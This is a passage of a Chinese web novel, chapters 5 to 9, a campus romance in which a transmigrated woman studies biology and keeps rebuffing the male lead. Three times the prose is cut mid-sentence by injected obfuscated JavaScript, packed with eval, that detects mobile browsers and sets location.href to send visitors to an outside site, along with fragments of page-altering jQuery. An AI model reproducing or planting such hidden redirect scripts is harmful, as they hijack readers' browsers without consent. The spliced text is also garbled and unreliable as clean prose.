要不是她看过小说,还真容易被这小子唬住。 虽然神仙姐姐说可以改变剧情,但是她可没打算抢别人的命中注定。 只不过…… 谢予青叹了一口气。 今天他帮她背包,给她递烤串,默默走在她旁边。 她不是傻子,能感觉得到,夏听北对她,确实跟书里写的不太一样,书里明明是很冷漠的,原主跟他说话,他都爱搭不理,约他出来吃饭,他也是很勉强,两个人一起吃饭的时候,苏昭昭还经常凑过来,而他每次只有见到苏昭昭的时候才会开心,话也多起来。 可是为什么呢? 原主追他的时候,他爱答不理,现在她不理他了,他反而凑上来了? 这是什么毛病? 这难道就是传说中的,犯贱? “小心。” 夏听北突然拉住她。 谢予青低头一看,脚下是一块松动的石头。 “哦,谢谢。” 她甩开他的手,继续走。 夏听北的手在空中停了一下,慢慢收回去。 回到学校的时候,天已经黑了。 大家在校门口分开,各回各的宿舍。 “今天好开心!”唐笑挽着谢予青的胳膊,“那个李奕还挺有意思的。” 谢予青看她一眼,一副了然的神色:“你跟他看对眼了?” 唐笑脸一红,整个人都别扭起来,伸手拍她肩膀,娇羞得不得了:“说什么呢!就聊得来而已。” 谢予青笑得直哆嗦:“行行行,聊得来。” 郑圆圆和张文慧也在叽叽喳喳讨论那几个男生。 “那个戴眼镜的还挺帅的。” “我觉得那个打篮球的也不错。” 四个人说说笑笑地回到宿舍。 刚洗完澡躺在床上,手机震了一下。 谢予青拿起来一看,是一条好友申请。 备注:夏听北。 谢予青撇撇嘴,更加确信了夏听北是在犯贱。 不是,真的会有人对一个曾经对自己死缠烂打现在突然对自己爱搭不理的人感兴趣吗? 还是说,她目前确实有什么吸引他的地方? 她晃了晃脑袋,想不通。 他不是爱苏昭昭爱得死去活来吗?两个人是青梅竹马,从小就暧昧不清,后面甚至会舍身救她,这样深厚的感情,她可不想当NPC。 万一人家老了之后忆往昔,开玩笑般提起她来,把她当成俩人打情骂俏的调剂品…… 咦,想起来她都头皮发麻。 她才不要呢,夏听北这个人,她能躲多远就躲多远,她讨厌心里有人还跟别的女孩纠缠不清的男人。 于是她直接把加好友的页面给关了,爱咋咋地。 6. 第 6 章 周一早上,谢予青被闹钟震醒,迷迷糊糊伸手关上。 宿舍里还黑漆漆的,唐笑她们都在呼呼大睡。她轻手轻脚地爬起来,洗漱完,背着书包出门。 早上的校园特别安静,路上只有零星几个学生。 谢予青去食堂买了两个包子一杯豆浆,边吃边往教学楼走。 今天上午有《生物化学》。 之前她最羡慕的就是学生物的同学,可以研究那些神奇的分子反应。现在终于有机会学了,恨不得一天二十四小时泡在教室里。 教室里还没有人,她照例坐第一排,把笔记本摊开,先开始预习。 快八点的时候,其他人终于拖拖拉拉进来了,唐笑走进来,满脸诧异地凑过来跟她说话:“你怎么那么努力啊?” 谢予青笑着看她:“坐我旁边吗?” 她旁边还没人。 唐笑一脸恐惧地疯狂摇头:“不要!” 随后直接往最后排跑。 教授进来的时候,看了她一眼,笑着说:“这位同学每次都坐第一排,很好。” 谢予青有点不好意思,但更多的是高兴。 上课铃响,教授开始讲。 她一边记笔记一边想:当初要是坚持学这个,现在说不定已经在实验室里了。 可惜一切没有如果。 两节课上完,谢予青还意犹未尽。 “走了走了!”唐笑从后面拍她,“吃饭去,饿死了。” 谢予青看了眼时间,确实十二点多了。她把笔记本收好,跟唐笑一起往食堂走。 “上午的课听懂了吗?”唐笑问她。 “听懂了,特别有意思。” “有意思?”唐笑一脸震惊,“那些东西我听得头都大了,你还觉得有意思?” 谢予青笑了:“每个人喜欢的东西不一样嘛。” “那倒也是。”唐笑点点头,“你喜欢就好。” 两个人说说笑笑地往食堂走。 走到食堂门口的时候,迎面遇上一群人。 打头的那个,高高瘦瘦,面无表情,又帅又拽,不是夏听北还能是谁。 旁边跟着李奕,还有几个金融系的男生。 谢予青脚步顿了一下,然后假装没看见,继续往前走。 擦肩而过的时候,一只手突然伸过来,抓住了她的胳膊。 “谢予青。” 夏听北的声音。 谢予青被拽得一个踉跄,回头看他:“干嘛?” “借一步说话。” 夏听北拉着她就往旁边走。 谢予青想甩开,但他手劲儿挺大,甩不开。 “唐笑!”她回头喊。 唐笑已经跟李奕对上眼了,正眉来眼去呢,听到她喊,头都不回地摆摆手:“去吧去吧,我先去打饭!” 谢予青:“……” 叛徒! 夏听北把她拉到食堂旁边的一棵大树下,这才松开手。 谢予青揉了揉被拽疼的胳膊,没好气地说:“你到底想干嘛?” 夏听北看着她,眉头皱着:“你为什么不加我好友?” 谢予青愣了一下,才想起来说的是周六晚上那条好友申请。 “不加就不加,哪有为什么。” “我发了两遍。” “两遍也不加。” 夏听北的眉头皱得更紧了:“我们还没分手。” 谢予青被他气笑了:“夏听北,你是不是听不懂人话?我说分手了,就是分手了。” “我不同意。” “你同不同意是你的事,分不分是我的事。” “你这是单方面毁约。” “对,我就单方面毁约了,怎么着吧?” 夏听北被她噎住了。 谢予青看着他,觉得又好气又好笑。 这人怎么回事? 之前原主追他的时候,他爱答不理。现在她不想理他了,他反而缠上来了。 “夏听北,”她叹了口气,“你也不是那种死缠烂打的人啊,你到底在干嘛?你不是喜欢苏昭昭吗?” 夏听北愣了一下:“谁说我喜欢苏昭昭?” “这还用说?”谢予青翻了个白眼,“你们青梅竹马,你对她和颜悦色,对别人都冷着脸,之前我们约会,她还经常一起吃饭,你不也没说什么?” 夏听北皱着眉看她:“就因为这个?” “这还不够?” “不够。”夏听北往前走了一步,离她很近,“我什么时候说过我喜欢她?” 谢予青张了张嘴,突然不知道该怎么说了。 原著就是这么写的啊。 男主喜欢女主,为了气女主才答应女二的表白。 可是…… 她看着夏听北的眼睛,突然冒出一个念头: 万一这个世界,跟书里不完全一样呢? 万一在这个世界里,夏听北确实没喜欢苏昭昭呢? 她之前从来没想过这个问题。 穿书之后,她一直默认剧情会按照原著走。所以她拼命躲开男女主,想当个透明人,好好学习。 可如果剧情本来就不会那么走呢? 如果一切都只是她自己脑补的呢? 谢予青有点懵了。 她皱着眉头,陷入沉思。 “想什么呢?” 脑门突然被弹了一下。 谢予青捂着额头,瞪他:“你干嘛!” “想什么呢?”夏听北又问了一遍,语气比刚才软了一点,“先加我。” “不加。” “加。” “不加。” 夏听北深吸一口气,好像在努力克制什么。 沉默了两秒。 他突然开口,声音低了下去:“求你了。” 谢予青以为自己听错了:“什么?” “求你了,”夏听北看着她,眼神里竟然带着一点恳求,“加上我好不好?别跟我闹别扭了。” 谢予青的眼睛瞪得老大。 求? 夏听北这种人,会说“求”这个字? 她盯着他看了好几秒,确认他不是在开玩笑。 心里乱成一团。 这人到底怎么回事? 她真的搞不懂了。 难道剧情真的变了? 还是说从一开始,她的理解就是错的? 可是不管怎么样,她都不想跟男主扯上关系。 万一她改变了剧情,产生了什么不可控的后果呢? 万一这个世界的平衡被打破了呢? 她不想冒这个险。 可是现在这个情况…… 谢予青看着夏听北的眼睛,那双眼睛里,竟然有一点她看不懂的东西。 算了。 加就加吧。 反正加了也可以不说话。 “行行行,”她掏出手机,“加加加。” 夏听北立刻掏出自己的手机,扫了她的码。 好友申请发过来,谢予青点了通过。 “备注改一下。”夏听北说。 “改什么?” “男朋友。” 谢予青冷笑一声:“想得美。” 她把手机揣回兜里,转身就往食堂跑。 “谢予青!” “我饿了!要吃饭!” 她头也不回,一溜烟跑进食堂。 食堂里人很多,谢予青四处张望,看到唐笑在角落里朝她招手。 她走过去,唐笑旁边坐着李奕,两个人面前已经打好了饭。 “你的饭呢?”唐笑问。 “还没打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513710|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这就去。” 谢予青去窗口打了份红烧肉盖饭,回来坐到唐笑旁边。 刚吃了一口,对面坐下一个人。 夏听北也打了饭,就坐在她对面。 谢予青:“……” 她低头吃饭,当他是空气。 刚吃了两口,感觉小腿被踢了一下。 谢予青抬头,瞪他:“你踢我干嘛?” 夏听北面不改色:“不好意思,不小心。” 不小心? 这人是故意的吧? 谢予青深吸一口气,低头继续吃。 又吃了几口,小腿又被踢了一下。 她抬头,夏听北还是那副面无表情的样子。 谢予青火了。 她在桌下抬起脚,狠狠踢了回去。 “哎哟!” 对面的李奕惨叫一声,整个人从椅子上弹起来。 “谁踢我?!”他揉着小腿,一脸痛苦,“踢我干嘛?!” 谢予青僵住了。 她踢错人了! “对不起对不起!”谢予青双手合十,脸涨得通红,“我不是故意的!真的不是故意的!” 李奕龇牙咧嘴地坐下:“你踢我干嘛呀?” “我……我踢错了……” “踢错了?”李奕看看她,又看看旁边的夏听北,突然懂了什么,“哦……你们俩……” 夏听北嘴角微微翘了一下。 他笑起来……还挺好看的。 谢予青愣了一下,赶紧移开视线。 什么嘛。 长得帅了不起啊。 她低下头,继续吃饭。 但脑子里那个笑,却怎么也挥不去。 唉。 可惜他是原著男主。 要不然,跟这样一个小帅哥谈谈恋爱,好像也不错? 长得帅,个子高,还会笑。 而且…… 谢予青脑子里突然冒出一个念头。 这小东西比她小十岁呢。 十岁啊。 在现实世界,她二十八,那些追她的人,基本都三十左右,一个个情史丰富,谈过好几个女朋友,有些甚至…… 算了,不说了。 反正她挺讨厌那种的。 她之前一直没谈恋爱,就是因为遇不到干净的,也没有特别好看的,除了她那小破公司的那个讨人厌的小老板。 那些人追她的时候,她一问,哪个不是谈过好几个?有的甚至还同居过。 她就想找个处男,怎么就那么难? 谢予青偷偷看了夏听北一眼。 他正低头吃饭,侧脸很好看。 要是按原著设定,男主应该……没谈过恋爱吧? 顶多就是喜欢苏昭昭,但也没在一起。 那岂不是…… 想什么呢想什么呢! 他才十八!小屁孩一个! 她可没功夫带孩子。 再说了,万一改变了剧情,有什么后果怎么办? 还是让他跟苏昭昭在一起吧,她专心搞学习。 对,就这样。 吃完最后一口饭,谢予青端起餐盘准备走。 还没站起来,一只手伸过来,把她的餐盘接了过去。 夏听北把自己的餐盘叠在她上面,端着往回收处走。 谢予青傻眼了。 这人…… 唐笑也看到了这一幕,凑过来在她耳边压低声音,语气里带着一种早就看穿了的了然:“哎,我看某人还不想结束呢。” 谢予青瞪了她一眼。 唐笑嘿嘿一笑,拉着李奕往回收处跑了。 谢予青坐在那里,看着夏听北的背影。他身高腿长,气质出众,在拥挤的食堂里格外醒目。 她心里乱七八糟的。 7. 第 7 章 几个人在回收处碰了头,一起往外走。谢予青和唐笑要回宿舍,夏听北他们也回宿舍,有一段路是顺的。 走到女生宿舍楼下,谢予青跟唐笑准备拐进去。她鬼使神差地回过头。 夏听北也正回头看她。 两个人的视线撞了个正着。 谢予青心里一慌,像做了什么亏心事被当场抓获,赶紧把头扭回来,拉着唐笑就往楼道里冲。 “怎么了?”唐笑被她拽得踉踉跄跄。 “没什么。” 走进楼道,谢予青的心还在胸腔里擂鼓似的跳。她把手按在胸口,能感受到那节奏紊乱的搏动。 什么嘛。 怎么会这样。 下午有体育课。 谢予青换好运动服,跟唐笑一起去操场。 体育课就是自由活动,老师拿了一筐器材出来,排球、羽毛球、毽子什么的,让学生自己玩。 谢予青拿了两个羽毛球拍,跟唐笑找了个阴凉的地方。 旁边就是篮球场,好多男生在打篮球。 唐笑往那边瞟了一眼,突然兴奋地拽她胳膊:“哎哎哎,你看!” 谢予青顺着她的视线看过去。 篮球场上,一群男生正在打半场。 跑在最前面的那个,穿着黑色背心,露出一截小臂,肌肉线条很好看。运球、过人、投篮,动作干净利落。 谢予青扶额。 怎么哪儿都有他。 “走走走,我们去那边。”她拉着唐笑想走。 唐笑却不走,眼睛盯着篮球场:“李奕也在呢!我要看!” 谢予青无奈,只好陪她在旁边打羽毛球。 打了几下,她又忍不住往篮球场看了一眼。 这次她看到了另一个人。 乾珩。 他也穿着运动服,正在另一个半场打球。戴着那副金丝眼镜,跑起来的样子很斯文。 谢予青愣了一下。 这两个人怎么在一起打球? 正想着,乾珩好像感觉到了什么,往这边看了一眼。 他看到谢予青,愣了一下,然后笑了笑,伸手朝她挥了挥。 谢予青也下意识挥了挥手。 打完招呼才想起来,他们好像不认识吧? 就上次在川菜馆见过一面,后来在图书馆门口打了个招呼,连话都没说过。 不过他既然打招呼,她不回应也不礼貌。 再说了,乾珩这人长得赏心悦目的,交个朋友也不错。 谢予青这么想着,也就没太在意。 但她没注意到,旁边那个半场上,夏听北的脸色变了一下。 他看到了刚才那一幕。 两个人隔空打招呼,看起来很熟的样子。 夏听北眉头皱了皱,没说什么,但接下来的球局,他突然像打了鸡血一样。 三分球,一个接一个,运球过人,干净利落。 防守,滴水不漏。 旁边围观的人都在叫好。 “卧槽,夏听北今天状态这么好!” “太帅了!” “这个三分绝了!” 唐笑也在旁边拍手:“哇!你前男友好厉害!” 谢予青往篮球场上看了一眼,正好看到夏听北又一次起跳投篮,身体在空中舒展开来,球出手的瞬间,手腕轻巧一压,球唰地一下就飞了出去。 确实挺厉害的。 她在心里默默承认。 中场休息的时候,夏听北走到场边喝水。他拧开瓶盖,仰头灌了几口,放下水瓶的时候,他瞥见乾珩也在旁边的长椅上坐着喝水,便若无其事地走过去,在他旁边坐下。 “你也认识谢予青?”他装作不经意地问了一句。 乾珩正在喝水,听到这话愣了一下:“谁是谢予青?” 夏听北:“……” “就是刚才跟你打招呼的那个。”他抬了抬下巴,指向远处羽毛球场地上的那个身影。 乾珩顺着他指的方向看过去,目光落在谢予青身上,恍然大悟:“原来她叫谢予青啊。” 他笑着看向夏听北:“谢谢你告诉我。” 夏听北的表情像吃了一斤苍蝇。 乾珩看着他的脸色,忍不住笑了:“她长得很漂亮。” “当然漂亮,”夏听北脱口而出,“她是我女朋友。” 说完他自己都愣了一下。 乾珩看着他,眼里闪过一丝意外。 但他很快就恢复了那副温柔的样子,点点头:“是吗?很般配。” 夏听北心里这才舒服了一点。 他转头看向羽毛球场地,却发现没人了。 下课铃不知什么时候响过,谢予青和唐笑已经走了。 夏听北看着那片空荡荡的水泥地,羽毛球网还在原地轻轻晃动,地上散落着几片被风卷来的枯叶。 他忽然觉得心里缺了一角,有些说不出的失落。 回到宿舍,夏听北冲了个澡,他擦着头发躺到床上,摸过手机,点开谢予青的对话框。 空白的界面上,只有一条系统提示:你们已经成为好友,可以开始聊天了。 他盯着那条提示看了几秒,打字: “晚上一起吃饭?” 发出去。 没有回复。 夏听北盯着屏幕,眉头越收越紧。以前她回消息多快啊,秒回,有时候他隔了很久没回复,她还会小心翼翼地追问“在忙吗”“是不是打扰你了”。 他又发了一条: “在吗?” 还是没回。 夏听北等不下去了,直接拨了语音电话。 挂断了。 他又打。 又挂断。 然后收到一条消息: “我在图书馆,能不能不要打扰我?” 夏听北盯着这条消息,气得肝疼。 他从床上坐起来,开始换衣服。 李奕看到了,问:“干嘛去?” “图书馆。” “去图书馆干嘛?” “学习。” 李奕看看窗外的夕阳,又看看他,一脸莫名其妙:“现在?学什么?” 夏听北没理他,换好衣服就走了。 图书馆很大,有六层。 夏听北一层一层地找,在三楼的自习室找到了她。 她就坐在靠窗的位置,低着头,面前摊着一本厚厚的大部头,看得入神。时不时翻一页,在笔记本上写几行字,隔一会儿又凝着眉思索什么。鬓边有一缕碎发滑下来,垂在脸颊旁边,她浑然不觉。 她看得太专注了,完全没有注意到有人走近。 夏听北在她旁边坐下,她没抬头。 好几分钟过去。 她始终埋着头,手指间夹着笔,时而在笔记本上记录。她的字迹很工整,娟秀漂亮。 夏听北瞥见那行字,突然愣了一会儿,又抬头看一眼谢予青,再低头看字,随即摇摇头。 他也不说话,就那么坐着。坐了一会儿觉得无聊,便起身去借阅区随手抽了一本书,又坐回她旁边。 书是什么内容,他一个字都没看进去。他就那么坐着,时不时侧头看她一眼,或是望着窗外出神。 时间从指缝间一点一滴地漏走。自习室里的人渐渐少了,窗外的天色从橘红变成黛紫,又从黛紫沉入墨蓝,灯管嗡嗡地亮着,把一切都照得惨白。 夏听北的肚子叫了好几声,谢予青终于有了反应。 她翻了一页书。 夏听北:“……” 他看了眼手机,六点多了。 他在这儿坐了两个小时。 两个小时! 她居然完全没发现他! 夏听北忍不住了,伸出手指,在她面前的桌上敲了敲。 谢予青吓了一跳,猛地抬起头。 看到是他,她愣住了。 “你怎么在这儿?” 夏听北深吸一口气,尽量让自己的语气听起来平静:“我来了两个小时了。” “啊?”谢予青眨眨眼,表情茫然,“真的假的?” “真的。” “哦……”她点点头,语气平淡,“那你来干嘛?” 夏听北被她这句“你来干嘛”气得差点笑出声。 “来找你吃饭。” “找我吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513711|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “对,给你发消息你没回,打电话你挂了。” “我在图书馆啊,当然不可能接电话。”谢予青又低下了头。 夏听北看着她,有点无奈:“你真的这么投入?” “对啊,”谢予青理所当然地点头,“看书呢。” 夏听北沉默了。 他垂着眼,手指在桌面上敲了两下,低头看了看她摊开的书。 那是一本生物专业书,很厚,一看就是很无聊的那种。 “你看得懂吗?”他有些好奇,“这不是大一新生该看的吧?” “看得懂啊,很有意思。”她斜觑他一眼。 夏听北又不说话了。 过了片刻,他站起来,顺手拎起她搁在桌角的书包。 “走吧,”他说,“去吃饭。” “我不去,”谢予青摇头,“我减肥,晚上不吃饭。” “减什么肥,你又不胖。” “不胖也得控制。” “不行。”夏听北开始动手帮她收拾桌上的东西,合上书本,夹好书签,盖上笔帽,一样一样地往书包里放,“不吃饭胃受不了。” “夏听北!”谢予青伸手去拦,被他轻轻挡开了。 “走了。” 他把书包甩到肩上,握住她的手腕,把她从椅子上带了起来。 谢予青无奈,只好被他拽着出了图书馆。 食堂已经没什么菜了,他们去了二楼,一人点了一份过桥米线。 米线上来,谢予青是真饿了,狼吞虎咽地吃起来。 夏听北看着她,忍不住说:“饿成这样还说不吃?” “看书太投入了嘛。” “那你以后定个闹钟,到点吃饭。” “知道了知道了。” 谢予青继续吃,吃得很快。 夏听北看着她,突然问:“你什么时候变得这么爱学习了?” 谢予青愣了一下:“我一直都爱学习啊。” “之前你明明老跟我吐槽不想学生物,本来想学金融相关,结果滑档了。” 谢予青眨了眨眼,心里咯噔一下。 原来是这样?原主是被调剂到生物系的,而她是喜欢生物却被迫选了金融,这刚好反过来了。 她生硬地说:“以前是以前,现在是现在。” 夏听北若有所思片刻,没有追问,只是“嗯”了一声,低下头继续吃。 谢予青放下筷子,认真地看着他:“夏听北,我真的没时间谈恋爱,我想好好学习,做实验,考研究生,你明白吗?” “明白。” “那你就别缠着我了。” “不行。” 谢予青皱眉:“为什么?” 夏听北沉默了一会儿。他放下筷子,十指交叉搁在桌上。 “明明是你先追的我。”他终于开口。 谢予青愣住了。 “你追了我一个月,每天发消息,约我吃饭,在宿舍楼下等我。”他一字一句地说,“追到手了,马上就分手,你是不是渣女?” 谢予青被他说得哑口无言。 从这个角度想……好像确实……有点渣? 夏听北看着她的表情,继续说:“你不能撩完我又不要我。” 谢予青很快回过神,反驳道:“你也不是真心的,你答应我,是为了气苏昭昭。” 夏听北皱眉:“谁跟你说的?” “这还用说吗?”谢予青看着他,试图从那张脸上找到一丝破绽,“之前发生那么多事情,你不可能不记得吧?” 夏听北沉默了。 他的沉默在谢予青看来是一种默认。 她心里忽然涌上一股说不清的情绪。 “你要是喜欢她,就去追她。”谢予青说完,端起吃完的碗筷,起身往回收处走,头也没回。 夏听北坐在原位,很久没有动。 窗外,天已经完全黑了,食堂里的人越来越少。 他一个人坐着,面前的碗已经凉了。 脑子里全是她最后那句话。 “你要是喜欢她,就去追她。” 夏听北闭上眼睛,抬手揉了揉眉心。 8. 第 8 章 谢予青觉得自己好像找到了人生的意义。 每天早上醒来,想到要去上课,她居然会兴奋。这在以前是完全不可能的事。 那时候她每天早上醒来,第一反应是:又要上班了。 现在她每天早上醒来,第一反应是:今天有《生物化学》! 连唐笑都说她疯了。 “你是不是被什么附体了?”某天晚上,唐笑趴在床上看她,“哪有大学生这么爱学习的?” 谢予青笑笑,没解释。 她没法解释。 一段时间下来,她跟《普通生物学》的张教授混了个脸熟。 张教授上课喜欢点名提问。第一次提问点到谢予青的时候,她答得头头是道。第二次,还是她。第三次,第四次…… 后来张教授不提问她了,改成提问别人。 但每次下课,他都会朝谢予青点点头,有时候还会说一句“有问题随时来问我”。 谢予青觉得,这就是最大的认可。 这天中午下课,谢予青和唐笑往食堂走。 路过学校的主干道时,看到路边摆了一长溜的桌子,五颜六色的海报挂得到处都是,人声鼎沸。 “社团招新!”唐笑眼睛一亮,“走走走,去看看!” 谢予青被她拉着挤进人群。 主干道两边,每个社团都摆了自己的摊位。跳舞的、唱歌的、画画的、骑车子的……各种花样。 “哇,街舞社!”唐笑拽着她往那边跑,“我一直想学街舞!” 谢予青跟着她过去看了一眼。几个学长学姐正在旁边空地上跳舞,确实挺帅的。 但她没太大兴趣。 她继续往前走,一个一个摊位看过去。 摄影社、吉他社、话剧社、轮滑社…… 都不是她想要的。 走到最边上的时候,她看到一个摊位。 很小,很不起眼,只有一张桌子和一块海报板。 海报板上写着三个字:万物生。 下面是一行小字:生物爱好者社团。 谢予青脚步微顿,随后快步走过去。 摊位后面坐着两个人,一个学姐一个学长,看起来都很无聊,因为根本没人来。 学姐正在玩手机,学长在发呆。 “你好,”谢予青开口,“我想了解一下这个社团。” 学姐猛地抬起头,眼睛都瞪大了:“真的吗?!” 谢予青被她的反应吓了一跳:“呃……是的。” “快快快,坐坐坐!”学姐一把把她按到凳子上,热情得不像话,“你想了解什么?我们社团可好了!” 学长也凑过来,递上一张宣传单。 谢予青接过宣传单,上面印着社团的活动:做琥珀、参观植物园、野外采集标本、听专家讲座…… 每一项她都感兴趣。 “我们社团人不多,”学姐说,“但氛围特别好!大家都是真心喜欢生物的,平时周末会组织去植物园或者博物馆,有时候还会去郊外采集标本。” “对,”学长补充道,“上学期我们还组织去了一次自然保护区,待了三天,看到好多野生动物。” 谢予青听得眼睛发光。 “我想加入。” 学姐和学长对视一眼,脸上都是惊喜。 “真的?那太欢迎了!”学姐立刻掏出手机,“加个微信吧,我把你拉进群里,你叫什么名字?” “谢予青,大一的。” “我叫林楠,大二的。”学姐指了指旁边的学长,“他叫何琦,也是大二的。” 谢予青加上微信,又填了一张简单的报名表。 “好了好了,”林楠笑着说,“欢迎加入万物生!” 何琦也笑着说:“我们社团好久没来新人了,还是这么漂亮的新人。” 谢予青有点不好意思:“谢谢学长。” “对了,”林楠突然想起什么,“下周一下午有个迎新会,你来吗?” “来!” “那就这么说定了,到时候群里发地址。” 谢予青点点头,心满意足地离开。 走出去好远,她还忍不住回头看那个小小的摊位。 真好。 终于找到组织了。 唐笑在街舞社那边填了表,跑过来找她。 “你报了什么?” “生物社。” 唐笑一脸嫌弃:“生物社?上课还没上够啊?” 谢予青笑了:“我喜欢嘛。” “行吧行吧,”唐笑耸肩,“人各有志,反正我是不想再碰那些东西了。” 两个人说说笑笑地往食堂走。 晚上回到宿舍,四个人各自躺在床上聊天。 郑圆圆报了摄影社,张文慧报了志愿者协会,唐笑报了街舞社。 大家正聊着,谢予青的手机震了一下。 是林楠把她拉进了一个群:万物生·相亲相爱一家人。 群里已经有四五十个人了,正在聊天。 谢予青刚进去,就看到林楠发了一条: @所有人欢迎新成员!@谢予青大一的学妹,大家欢迎! 下面立刻刷出一片“欢迎欢迎”。 谢予青发了个笑脸:谢谢大家,请多关照。 刚发完,群里又跳出一条消息。 林楠:@全体成员下周一迎新会,新老成员都来啊!另外还有一位新成员刚加进来,大家也欢迎一下! 然后她拉了一个人进来。 谢予青直接傻眼了。 紧接着,群里也跟着炸了。 “卧槽???” “我没看错吧???” “夏听北???” “金融系那个夏听北???” “他怎么来了???” “女神林楠你厉害啊,把他都拉进来了!” 谢予青盯着屏幕,整个人都懵了。 群里还在刷屏,学姐们一个个都疯了。 “欢迎欢迎热烈欢迎!” “夏同学你是真的对生物感兴趣吗?” “以后一起玩啊!” “你哪个系的?” 夏听北在群里发了一条消息: “大家好,金融系大一,请多关照。” 配了一个微笑的表情。 谢予青看着那条消息,眼睛都直了。 林楠又发了一条:@夏听北下周一迎新会记得来哦! 夏听北:好的。 谢予青盯着屏幕看了半天,还是想不通。 他为什么要加入生物社,难道真的对生物感兴趣? 她想起上次那个讲座,他确实也去了,可能还真是喜欢。 不对不对。 谢予青摇摇头。 就算他对生物感兴趣,跟她有什么关系? 他爱加不加。 她把手机放下,加入唐笑她们的聊天。 “那个新剧你们看了吗?” “看了看了,男主好帅!” “我觉得男二号更帅!” “女主的衣服好好看!” 谢予青听着她们叽叽喳喳,慢慢放松下来。 管他呢。 聊了一会儿,谢予青突然想起一件事。 她穿进来的这部小说是十年前写的,这个世界,跟她原来那个世界好像差不多。 倒推十年,明星是一样的,电视剧是一样的,逛街的地方也是一样的。 既然如此…… 这个世界有没有她呢? 如果她回去她现实世界里生活的地方,能不能遇到自己? 这么一想,她觉得有些毛骨悚然。 算了算了,还是不去了,万一真看到自己了,还不得吓死。 反正她就在这儿待三年。 把原来的自己忘掉吧。 周一很快就到了。 下午上完课,谢予青按照群里发的地址,找到了一间空教室。 门口已经站着几个人,有林楠和何琦,还有几个面生的学长学姐。 “予青来了!”林楠朝她招手。 谢予青走过去,笑着打招呼:“学姐好,学长好。” “来来来,先进去坐。”林楠把她领进教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513712|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 教室里摆了几排椅子,已经有七八个人坐着了,应该都是新成员。谢予青找了个靠边的位置坐下。 陆续又有人进来。 林楠和何琦在前面忙活着,准备开会用的东西。 谢予青低头看手机,突然感觉旁边有人坐了下来。 她抬头一看,顿时想翻白眼。 又是夏听北! 他穿着一件黑色的卫衣,背着书包,就这么坐在她旁边。 谢予青的第一反应是:走。 她站起来,准备换个位置。 还没迈开腿,一只手就拽住了她的胳膊。 “躲什么?”夏听北的声音。 谢予青低头看他:“谁躲了?” “那你干嘛去?” “换位置。” “为什么要换?” “我愿意。” 夏听北拽着她不放,眉头微微皱着:“坐下。” “不坐。” “坐。” “不!” “你们俩认识啊?” 林楠的声音突然插进来。 谢予青抬头,看到林楠正笑眯眯地看着他们。 “不认识。”谢予青脱口而出。 “认识。”夏听北同时说。 林楠愣了一下,看看这个,又看看那个,笑了:“到底认不认识?” 谢予青咬牙:“不熟。” 夏听北被她的表情逗笑了,嘴角微微翘了一下:“嗯,不熟。” 林楠看着他们,眼里闪过一丝玩味,但也没多问:“行行行,不熟就不熟,先坐下吧,马上开会了。” 谢予青没办法,只好又坐回去。 夏听北的手这才松开。 谢予青瞪了他一眼,往旁边挪了挪,离他远一点。 夏听北没说话,但嘴角的笑还在。 开会了。 林楠站在前面,先介绍了社团的情况。 “万物生成立有十年了,是我们学校历史最悠久的社团之一,宗旨很简单,让喜欢生物的人聚在一起,玩得开心,学得开心。” 何琦在旁边补充:“我们平时的活动挺丰富的。周末会组织去植物园、博物馆,有时候去郊外采集标本,上学期还做了琥珀,就是那种可以把小虫子封在里面的那种。” 谢予青听得眼睛发光。 琥珀! 她只在视频里看过别人做琥珀,没想到自己也能做。 “还有,”林楠继续说,“我们每年会组织一次外出考察,去周边的自然保护区,住两三天,看看野生动物,采采标本,特别好。” “对了,”何琦补充,“下学期还有机会去参加全国的大学生生物竞赛,虽然不是正式比赛,就是玩玩的,但也挺有意思的。” 谢予青连连点头。 这个社团,简直就是为她量身定做的。 开完会,大家陆续散了。 谢予青站起来,正准备走,犹豫了一下,又站住了。 她转头看向夏听北。 他也正在收拾东西,感觉到她的视线,抬头看她。 “怎么了?” 谢予青看着他,问:“你为什么要加入这个社团?” 夏听北愣了一下,然后慢慢站起来。 他比谢予青高一个头,站着的时候有点压迫感。 “你想听什么答案?” 谢予青皱眉:“什么我想听什么答案?我问你原因。” 夏听北看着她,慢条斯理地说:“你不要想太多,我可不是为了你。” 谢予青的脸一下子热了。 “我、我才没这么想!” “是吗?”夏听北微微歪头,“你怎么想的,你自己心里清楚。” “你……” 谢予青气得跺脚。 夏听北背起书包,嘴角翘起来,转身走了。 走到门口,他还回头看了一眼。 谢予青站在原地,瞪着他的背影。 幼稚鬼! 这个人真的太幼稚了! 就算她要谈恋爱,也不可能找这种小屁孩! 9. 第 9 章 她气鼓鼓地走出教室,一路上都在心里骂他。 